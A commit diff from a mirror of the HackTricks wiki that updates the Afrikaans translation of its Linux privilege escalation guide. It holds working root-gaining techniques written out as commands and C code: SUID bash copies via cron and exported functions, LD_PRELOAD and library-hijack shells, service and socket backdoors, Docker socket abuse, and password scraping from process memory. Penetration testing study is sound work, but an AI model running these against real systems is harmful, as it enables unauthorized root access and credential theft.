maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

Browse Source
This commit is contained in:
Translator 2025-08-19 08:28:31 +00:00
parent a0c32f1455
commit a95d122c02
4 changed files with 362 additions and 159 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -96,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

156
src/linux-hardening/privilege-escalation/README.md
View File

@ -26,26 +26,26 @@ Interessante inligting, wagwoorde of API sleutels in die omgewingsveranderlikes?
```
### Kernel exploits
Kontroleer die kern weergawe en of daar 'n eksploitsie is wat gebruik kan word om voorregte te verhoog
Kontroleer die kern weergawe en of daar 'n eksploits is wat gebruik kan word om voorregte te verhoog
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
Jy kan 'n goeie lys van kwesbare kernels en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Jy kan 'n goeie lys van kwesbare kernel en sommige reeds **gecompileerde exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
Ander webwerwe waar jy 'n paar **gecompileerde exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Om al die kwesbare kern weergawe van daardie web te onttrek, kan jy doen:
Om al die kwesbare kernel weergawes van daardie web te onttrek, kan jy doen:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
Hulpmiddels wat kan help om kernelaanvalle te soek, is:
Tools wat kan help om vir kernel exploits te soek is:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer uit IN slagoffer, kyk net na aanvalle vir kernels 2.x)
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer uit IN slagoffer, kyk net na exploits vir kernel 2.x)
Soek altyd **die kernelaanweergawe in Google**, miskien is jou kernelaanweergawe in 'n of ander kernelaanval geskryf en dan sal jy seker wees dat hierdie aanval geldig is.
Soek altyd **die kernel weergawe in Google**, dalk is jou kernel weergawe in 'n of ander kernel exploit geskryf en dan sal jy seker wees dat hierdie exploit geldig is.
### CVE-2016-5195 (DirtyCow)
@ -63,7 +63,7 @@ Gebaseer op die kwesbare sudo weergawes wat verskyn in:
```bash
searchsploit sudo
```
U kan nagaan of die sudo weergawe kwesbaar is deur hierdie grep te gebruik.
Jy kan nagaan of die sudo weergawe kwesbaar is deur hierdie grep te gebruik.
```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
```
### Dmesg-handtekeningverifikasie het gefaal
Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie kwesbaarheid uitgebuit kan word
Kyk na **smasher2 box of HTB** vir 'n **voorbeeld** van hoe hierdie kwesbaarheid benut kan word
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -140,11 +140,11 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc
```
## Nuttige sagteware
Lys nuttige binaire.
Tel nuttige binaire op
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kernel-ontploffing moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyke).
Kontroleer ook of **enige kompilator geïnstalleer is**. Dit is nuttig as jy 'n kerneluitbuiting moet gebruik, aangesien dit aanbeveel word om dit op die masjien te compileer waar jy dit gaan gebruik (of op een soortgelyk).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Vir 'n gegewe proses ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte gemap is; dit wys ook die **toestemmings van elke gemapte streek**. Die **mem** pseudo-lêer **stel die proses se geheue self bloot**. Van die **maps** lêer weet ons watter **geheue streke leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te soek en alle leesbare streke** na 'n lêer te dump.
Vir 'n gegewe proses ID, **maps wys hoe geheue binne daardie proses se** virtuele adresruimte gemap is; dit wys ook die **toestemmings van elke gemapte streek**. Die **mem** pseudo-lêer **stel die proses se geheue self bloot**. Van die **maps** lêer weet ons watter **geheue streke leesbaar is** en hul offsets. Ons gebruik hierdie inligting om **in die mem-lêer te soek en al leesbare streke** na 'n lêer te dump.
```bash
procdump()
(
@ -230,8 +230,8 @@ rm $1*.bin
```
#### /dev/mem
`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kern se virtuele adresruimte kan verkry word met /dev/kmem.\
Tipies is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep.
`/dev/mem` bied toegang tot die stelsel se **fisiese** geheue, nie die virtuele geheue nie. Die kern se virtuele adresruimte kan toegang verkry word met /dev/kmem.\
Tipies, is `/dev/mem` slegs leesbaar deur **root** en die **kmem** groep.
```
strings /dev/mem -n10 | grep -i PASS
```
@ -269,8 +269,8 @@ Press Ctrl-C to end monitoring without terminating the process.
Om 'n prosesgeheue te dump, kan jy gebruik maak van:
- [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig root vereistes verwyder en die proses wat aan jou behoort dump
- Skrip A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis)
- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Jy kan handmatig die root vereistes verwyder en die proses wat aan jou behoort dump
- Script A.5 van [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is vereis)
### Credentials from Process Memory
@ -288,18 +288,18 @@ strings *.dump | grep -i password
```
#### mimipenguin
Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike teks geloofsbriewe uit geheue** en uit 'n paar **bekende lêers** steel. Dit vereis wortelregte om behoorlik te werk.
Die hulpmiddel [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) sal **duidelike teks geloofsbriewe uit geheue** en van 'n paar **bekende lêers** steel. Dit vereis wortelregte om behoorlik te werk.
| Kenmerk | Prosesnaam |
| ------------------------------------------------- | -------------------- |
| GDM wagwoord (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Sleutelhanger (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| Gnome Sleutelkissie (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Aktiewe FTP Verbindinge) | vsftpd |
| Apache2 (Aktiewe HTTP Basiese Auth Sessions) | apache2 |
| Apache2 (Aktiewe HTTP Basiese Auth Sessies) | apache2 |
| OpenSSH (Aktiewe SSH Sessies - Sudo Gebruik) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
#### Soek Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
@ -327,14 +327,14 @@ Byvoorbeeld, binne _/etc/crontab_ kan jy die PAD vind: _PATH=**/home/user**:/usr
(_Let op hoe die gebruiker "user" skryfregte oor /home/user het_)
As die root-gebruiker binne hierdie crontab probeer om 'n opdrag of skrip uit te voer sonder om die pad in te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
As die root-gebruiker in hierdie crontab probeer om 'n opdrag of skrip uit te voer sonder om die pad in te stel. Byvoorbeeld: _\* \* \* \* root overwrite.sh_\
Dan kan jy 'n root shell kry deur te gebruik:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron gebruik 'n skrip met 'n wildcard (Wildcard Injection)
### Cron met 'n skrip wat 'n wildcard gebruik (Wildcard Injection)
As 'n skrip wat deur root uitgevoer word 'n “**\***” binne 'n opdrag het, kan jy dit benut om onverwagte dinge te maak (soos privesc). Voorbeeld:
```bash
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Jy kan die prosesse monitor om te soek na prosesse wat elke 1, 2 of 5 minute uitgevoer word. Miskien kan jy daarvan voordeel trek en privilige verhoog.
Byvoorbeeld, om **elke 0.1s gedurende 1 minuut te monitor**, **te sorteer volgens minder uitgevoerde opdragte** en die opdragte wat die meeste uitgevoer is te verwyder, kan jy doen:
Byvoorbeeld, om **elke 0.1s vir 1 minuut te monitor**, **te sorteer volgens minder uitgevoerde opdragte** en die opdragte wat die meeste uitgevoer is te verwyder, kan jy doen:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -380,12 +380,12 @@ Dit is moontlik om 'n cronjob te skep **wat 'n terugkeerkarakter na 'n opmerking
### Skryfbare _.service_ lêers
Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **terugdeur** **uitvoer** wanneer die diens **gestart**, **herstart** of **gestop** word (miskien moet jy wag totdat die masjien herbegin word).\
Byvoorbeeld, skep jou terugdeur binne die .service lêer met **`ExecStart=/tmp/script.sh`**
Kontroleer of jy enige `.service` lêer kan skryf, as jy kan, kan jy dit **wysig** sodat dit jou **backdoor uitvoer wanneer** die diens **gestart**, **herstart** of **gestop** word (jy sal dalk moet wag totdat die masjien herbegin word).\
Byvoorbeeld, skep jou backdoor binne die .service lêer met **`ExecStart=/tmp/script.sh`**
### Skryfbare diens binaire
Hou in gedagte dat as jy **skryfregte oor binaire lêers het wat deur dienste uitgevoer word**, jy hulle kan verander na terugdeure sodat wanneer die dienste weer uitgevoer word, die terugdeure uitgevoer sal word.
Hou in gedagte dat as jy **skryfregte oor binaire het wat deur dienste uitgevoer word**, jy dit kan verander na backdoors sodat wanneer die dienste weer uitgevoer word, die backdoors uitgevoer sal word.
### systemd PAD - Relatiewe Pade
@ -399,13 +399,13 @@ ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
```
Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids wat jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie (**Begin**, **Stop**, **Herlaai**) uit te voer, sal jou **agterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
Dan, skep 'n **uitvoerbare** lêer met die **selfde naam as die relatiewe pad-binary** binne die systemd PATH-gids waar jy kan skryf, en wanneer die diens gevra word om die kwesbare aksie uit te voer (**Begin**, **Stop**, **Herlaai**), sal jou **achterdeur uitgevoer word** (onbevoegde gebruikers kan gewoonlik nie dienste begin/stop nie, maar kyk of jy `sudo -l` kan gebruik).
**Leer meer oor dienste met `man systemd.service`.**
## **Timers**
**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone loop.
**Timers** is systemd eenheid lêers waarvan die naam eindig op `**.timer**` wat `**.service**` lêers of gebeurtenisse beheer. **Timers** kan as 'n alternatief vir cron gebruik word aangesien hulle ingeboude ondersteuning het vir kalender tyd gebeurtenisse en monotone tyd gebeurtenisse en kan asynchrone uitgevoer word.
Jy kan al die timers opnoem met:
```bash
@ -413,7 +413,7 @@ systemctl list-timers --all
```
### Skryfbare timers
As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige bestaan van systemd.unit (soos 'n `.service` of 'n `.target`)
As jy 'n timer kan wysig, kan jy dit laat uitvoer van sommige voorwerpe van systemd.unit (soos 'n `.service` of 'n `.target`)
```bash
Unit=backdoor.service
```
@ -439,13 +439,13 @@ Let wel die **timer** is **geaktiveer** deur 'n symlink na dit te skep op `/etc/
## Sockets
Unix Domain Sockets (UDS) stel **proses kommunikasie** in staat op dieselfde of verskillende masjiene binne kliënt-bediener modelle. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers.
Unix Domain Sockets (UDS) stel **proses kommunikasie** op dieselfde of verskillende masjiene binne kliënt-bediener modelle in staat. Hulle gebruik standaard Unix beskrywer lêers vir inter-rekenaar kommunikasie en word opgestel deur middel van `.socket` lêers.
Sockets kan gekonfigureer word met behulp van `.socket` lêers.
**Leer meer oor sockets met `man systemd.socket`.** Binne hierdie lêer kan verskeie interessante parameters gekonfigureer word:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies is verskillend, maar 'n opsomming word gebruik om **aan te dui waar dit gaan luister** na die socket (die pad van die AF_UNIX socket lêer, die IPv4/6 en/of poortnommer om te luister, ens.)
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Hierdie opsies is verskillend, maar 'n opsomming word gebruik om **aan te dui waar dit gaan luister** na die socket (die pad van die AF_UNIX socket lêer, die IPv4/6 en/of poortnommer om na te luister, ens.)
- `Accept`: Neem 'n boolean argument. As **waar**, 'n **diensinstansie word geskep vir elke inkomende verbinding** en slegs die verbinding socket word aan dit oorgedra. As **vals**, word al die luister sockets self **aan die begin diens eenheid oorgedra**, en slegs een diens eenheid word geskep vir al die verbindings. Hierdie waarde word geïgnoreer vir datagram sockets en FIFOs waar 'n enkele diens eenheid onvoorwaardelik al die inkomende verkeer hanteer. **Standaard is vals**. Vir prestasiedoeleindes word dit aanbeveel om nuwe daemons slegs op 'n manier te skryf wat geskik is vir `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Neem een of meer opdraglyne, wat **uitgevoer word voor** of **na** die luister **sockets**/FIFOs **gecreëer** en gebind word, onderskeidelik. Die eerste token van die opdraglyn moet 'n absolute lêernaam wees, gevolg deur argumente vir die proses.
- `ExecStopPre`, `ExecStopPost`: Bykomende **opdragte** wat **uitgevoer word voor** of **na** die luister **sockets**/FIFOs **gesluit** en verwyder word, onderskeidelik.
@ -454,17 +454,17 @@ Sockets kan gekonfigureer word met behulp van `.socket` lêers.
### Skryfbare .socket lêers
As jy 'n **skryfbare** `.socket` lêer vind, kan jy **byvoeg** aan die begin van die `[Socket]` afdeling iets soos: `ExecStartPre=/home/kali/sys/backdoor` en die backdoor sal uitgevoer word voordat die socket geskep word. Daarom, jy sal **waarskynlik moet wag totdat die masjien herbegin word.**\
_Nota dat die stelsel daardie socket lêer konfigurasie moet gebruik of die backdoor sal nie uitgevoer word nie_
_Let daarop dat die stelsel daardie socket lêer konfigurasie moet gebruik of die backdoor sal nie uitgevoer word nie_
### Skryfbare sockets
As jy **enige skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfig .socket lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid ontgin.
As jy **enige skryfbare socket identifiseer** (_nou praat ons oor Unix Sockets en nie oor die konfig .socket lêers nie_), dan **kan jy kommunikeer** met daardie socket en dalk 'n kwesbaarheid benut.
### Enumereer Unix Sockets
```bash
netstat -a -p --unix
```
### Rauwe verbinding
### Rou verbinding
```bash
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
@ -502,7 +502,7 @@ Hierdie opdragte laat jou toe om 'n houer met wortelvlaktoegang tot die gasheer
#### **Gebruik Docker API Direk**
In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-soket steeds gemanipuleer word met die Docker API en `curl` opdragte.
In gevalle waar die Docker CLI nie beskikbaar is nie, kan die Docker-soket steeds gemanipuleer word met behulp van die Docker API en `curl` opdragte.
1. **Lys Docker Beelde:** Verkry die lys van beskikbare beelde.
@ -536,7 +536,7 @@ Nadat jy die `socat`-verbinding opgestel het, kan jy opdragte direk in die houer
### Ander
Let daarop dat as jy skryfrechten oor die docker-soket het omdat jy **binne die groep `docker`** is, jy het [**meer maniere om voorregte te verhoog**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy dit ook kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Let daarop dat as jy skrywe toestemmings oor die docker soket het omdat jy **binne die groep `docker`** is, jy het [**meer maniere om voorregte te verhoog**](interesting-groups-linux-pe/index.html#docker-group). As die [**docker API op 'n poort luister** kan jy dit ook kompromitteer](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
Kyk na **meer maniere om uit docker te breek of dit te misbruik om voorregte te verhoog** in:
@ -546,7 +546,7 @@ docker-security/
## Containerd (ctr) voorregverhoging
As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**:
As jy vind dat jy die **`ctr`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
{{#ref}}
containerd-ctr-privilege-escalation.md
@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md
## **RunC** voorregverhoging
As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**:
As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy as **jy dalk dit kan misbruik om voorregte te verhoog**:
{{#ref}}
runc-privilege-escalation.md
@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie.
Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domeinsokke**. Boonop help dit om gebeurtenisse of seine te broadcast, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, wat prosesse wat tradisioneel kompleks was, stroomlyn.
Die stelsel is veelsydig, wat basiese IPC ondersteun wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domeinsokke**. Boonop help dit om gebeurtenisse of seine te broadcast, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse stroomlyn wat tradisioneel kompleks was.
D-Bus werk op 'n **toelaat/weier model**, wat boodskaptoestemmings (metode-aanroepe, seinuitstralings, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik voorregverhoging deur die uitbuiting van hierdie toestemmings toelaat.
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker uiteensit om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang.
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang, detailleer.
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "standaard" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -612,7 +612,7 @@ cat /etc/networks
#Files used by network services
lsof -i
```
### Oop ports
### Oopende poorte
Kontroleer altyd netwerkdienste wat op die masjien loop waarmee jy nie kon interaksie hê nie voordat jy dit toeganklik gemaak het:
```bash
@ -621,7 +621,7 @@ Kontroleer altyd netwerkdienste wat op die masjien loop waarmee jy nie kon inter
```
### Sniffing
Kyk of jy verkeer kan snuffel. As jy kan, kan jy dalk 'n paar akrediteerbare inligting gryp.
Kyk of jy verkeer kan snuffel. As jy kan, kan jy dalk 'n paar geloofsbriewe gryp.
```
timeout 1 tcpdump
```
@ -666,7 +666,7 @@ interesting-groups-linux-pe/
### Clipboard
Kyk of daar iets interessant in die klembord geleë is (indien moontlik)
Kyk of daar iets interessant in die klembord is (indien moontlik)
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@ -687,7 +687,7 @@ As jy **enige wagwoord** van die omgewing **ken, probeer om in te log as elke ge
### Su Brute
As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar teenwoordig, kan jy probeer om gebruikers te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
As jy nie omgee om baie geraas te maak nie en `su` en `timeout` binaire is op die rekenaar teenwoordig, kan jy probeer om die gebruiker te brute-force met [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) met die `-a` parameter probeer ook om gebruikers te brute-force.
## Skryfbare PAD misbruik
@ -732,7 +732,7 @@ $ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwulnerbaar** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word:
Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwulnerabel** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
@ -769,9 +769,9 @@ Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag ui
### SUID binêre met opdrag pad
As die **suid** binêre **'n ander opdrag uitvoer wat die pad spesifiseer**, kan jy probeer om 'n **funksie** te **eksporteer** wat genaamd is soos die opdrag wat die suid-lêer aanroep.
As die **suid** binêre **'n ander opdrag uitvoer wat die pad spesifiseer**, kan jy probeer om 'n **funksie te eksporteer** wat genaamd is soos die opdrag wat die suid-lêer aanroep.
Byvoorbeeld, as 'n suid binêre _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te eksport.
Byvoorbeeld, as 'n suid binêre _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te eksporteer:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@ -780,12 +780,12 @@ Dan, wanneer jy die suid-binary aanroep, sal hierdie funksie uitgevoer word
### LD_PRELOAD & **LD_LIBRARY_PATH**
Die **LD_PRELOAD** omgewing veranderlike word gebruik om een of meer gedeelde biblioteke (.so-lêers) aan te dui wat deur die laaier gelaai moet word voordat alle ander, insluitend die standaard C-biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek.
Die **LD_PRELOAD** omgewing veranderlike word gebruik om een of meer gedeelde biblioteke (.so lêers) aan te dui wat deur die laaier gelaai moet word voordat alle ander, insluitend die standaard C biblioteek (`libc.so`). Hierdie proses staan bekend as die vooraflaai van 'n biblioteek.
Om egter die stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes:
- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_).
- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpade wat ook suid/sgid is, vooraf gelaai.
- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpaaie wat ook suid/sgid is, vooraf gelaai.
Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede.
```
@ -804,12 +804,12 @@ setuid(0);
system("/bin/bash");
}
```
Dan **kompileer dit** met:
Dan **kompyleer dit** met:
```bash
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Uiteindelik, **verhoog bevoegdhede** wat loop
Uiteindelik, **verhoog privaathede** wat loop
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID Binêre – .so inspuiting
Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewone voorkoms het, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -859,7 +859,7 @@ Compileer die bogenoemde C-lêer in 'n gedeelde objek (.so) lêer met:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
Uiteindelik, die uitvoering van die aangetaste SUID-binary behoort die ontploffing te aktiveer, wat moontlike stelselskompromie moontlik maak.
Uiteindelik, die uitvoering van die geraakte SUID-binary behoort die exploit te aktiveer, wat moontlike stelselskompromie moontlik maak.
## Gedeelde Objekt Hijacking
```bash
@ -871,7 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
```
Nou dat ons 'n SUID-binaar gevind het wat 'n biblioteek laai vanaf 'n gids waar ons kan skryf, kom ons skep die biblioteek in daardie gids met die nodige naam:
Nou dat ons 'n SUID-binaar gevind het wat 'n biblioteek laai vanaf 'n gids waar ons kan skryf, laat ons die biblioteek in daardie gids met die nodige naam skep:
```c
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
@ -894,7 +894,7 @@ dit beteken dat die biblioteek wat jy gegenereer het 'n funksie moet hê wat `a_
